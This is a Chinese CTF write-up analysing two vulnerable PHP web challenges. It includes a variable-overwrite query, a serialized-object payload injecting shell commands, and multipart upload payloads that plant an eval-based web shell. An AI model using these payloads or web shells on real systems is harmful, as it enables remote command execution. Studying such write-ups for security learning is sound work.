放假抽空和同學(xué)打了一哈上海大學(xué)生的ctf,題目質(zhì)量一般,腦洞太大,不過有兩道代碼審計題目還是不錯的,同時自己也有好多點(diǎn)沒有考慮到,這里記錄一哈學(xué)習(xí)經(jīng)驗。
web2
序列化與反序列化
php所有的值都可以使用serialize()來存儲數(shù)據(jù),輸出一串字符串。
unserialize()將字符串內(nèi)包含的數(shù)據(jù)進(jìn)行返回。
序列化一個對象(類的實例),不會保存類的方法(所以一般情況只能去找類的漏洞)。
魔術(shù)方法
PHP 中所有以 __(兩個下劃線)開頭的類方法保留為魔術(shù)方法。
常用的魔術(shù)方法有
__construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(), __sleep(),
__wakeup(), __toString(), __invoke(), __set_state(),
__clone() 和 __debugInfo()
一些默認(rèn)情況
序列化一個對象是默認(rèn)會調(diào)用__sleep
反序列化是會調(diào)用__wakeup
__construct會在實例化一個對象是被調(diào)用
__desturct會在對象不再使用或者程序退出時自動調(diào)用
__toString會在對象被當(dāng)做字符串時使用(特別注意字符串連接符.)
__get會在讀取不可訪問的屬性的值的時候調(diào)用
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
這道題目是2017年百越杯的改版,這里剛開始是經(jīng)典的$$變量覆蓋漏洞,沒什么好看的,直接丟paylaod
first=doller&a=var=give%26bbb=me%26ccc=flag
其中一些方法如下
__construct,初始化變量
__wakeup,在反序列化時會自動調(diào)用,先將$args進(jìn)行trim,再進(jìn)行waf
waf,將正則中的東西替換為空
echo,這里調(diào)用系統(tǒng)命令執(zhí)行$host參數(shù)中指定的命令
__destruct,對象銷毀時使用,如果傳入的對象中有echo方法,就執(zhí)行call_user_func_array函數(shù),參數(shù)為$args
剩下這里就很簡單了
$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}
然后
傳入?yún)?shù)
unserialize($_GET['come']);
什么都沒有發(fā)生。
這里參考原因是print_r中的部分不可見字符paylaod輸出后進(jìn)行了改變,手動調(diào)整就好。
print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D
即可成功執(zhí)行
另外也可以手動修改
00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64 12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31 ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61 0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73 :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d `";}}
其中的.在之前的print_r中沒有輸出,這里修改為%00即可,最后直接給給payload。
?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}
剩下沒難度,老套路。
web3
這里記錄一哈只因為學(xué)到了end和$filename[count($filename) - 1]),unlink繞過方法
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/www/html/sandbox/' . $dir;
echo mkdir($sandbox);
echo chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
echo $filename;
}
$ext = end($filename);
echo "ext1:$ext";
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
echo $new_name;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
echo $_;
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
比賽的時候乍一看需要過兩關(guān)
end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false
想到了被hitcon的oneline題目,而且第一關(guān)沒有過去的經(jīng)驗,給嚇住了,直接就放棄了。
賽后再看發(fā)現(xiàn)這個題目真是太簡單了
首先上傳一個文件,然后比較
end($filename)==$filename[count($filename) - 1]
也就是后綴名師傅相等
不等就重命名為一個100-999(可爆破)的文件名.ext
而且上傳文件的前6個字符需要為@<?php,如果文件名正確的化就直接文件包含輸出。
然后刪除文件
思路就很簡單,需要爆破文件名就一定需要考慮unlink函數(shù)的漏洞,或者條件競爭。
至于end(filename[count($filename) - 1]的漏洞,這里參考了
這里問題出現(xiàn)在如何獲取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先,檢查有沒有POST file,如果有的話,就直接獲取file(這里file可以為數(shù)組)
如果沒有的話,就獲取上傳的文件名$_FILES['file']['name'];
然后,如果if (!is_array($filename)) ,也就是文件名不是數(shù)組話,就.分割
也就是I.am.theKingOfNight會被分割為
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);,也就是獲取filename的最后一項,在這里就返回theKingOfNight
而且,針對復(fù)合型數(shù)組
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在這里取的是theKingOfNight
$filename[count($filename) - 1]在這里取的是file[2],但是不存在這個東西,所以為空
至于unlink函數(shù),這里也是利用了漏洞
本地文件包含漏洞可以讓 php 包含自身從而導(dǎo)致死循環(huán)
然后 php 就會崩潰 , 如果請求中同時存在一個上傳文件的請求的話 , 這個文件就會被保留
在這里同時在自己的請求中上傳自己想要上傳的文件,在unlink函數(shù)之前使程序崩潰,就可以使得程序一直保留文件。
繞過unlink寫shell,我參考了這篇程序,當(dāng)然沒有玩玩整整的讀完,還是很有難度的
這里使用了一個小trik,也在文章最后給出
/.
萬事具備,剩下的東西沒什么難度了。
這里給出兩個利用的payload,直接從這里偷的
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"
php
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
<?php
@eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"
php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"
100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
@<?php
@eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--
當(dāng)然,如果有什么好的提議或想法也歡迎師傅們多多交流,感激不盡。
參考
https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
http://www.itdecent.cn/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17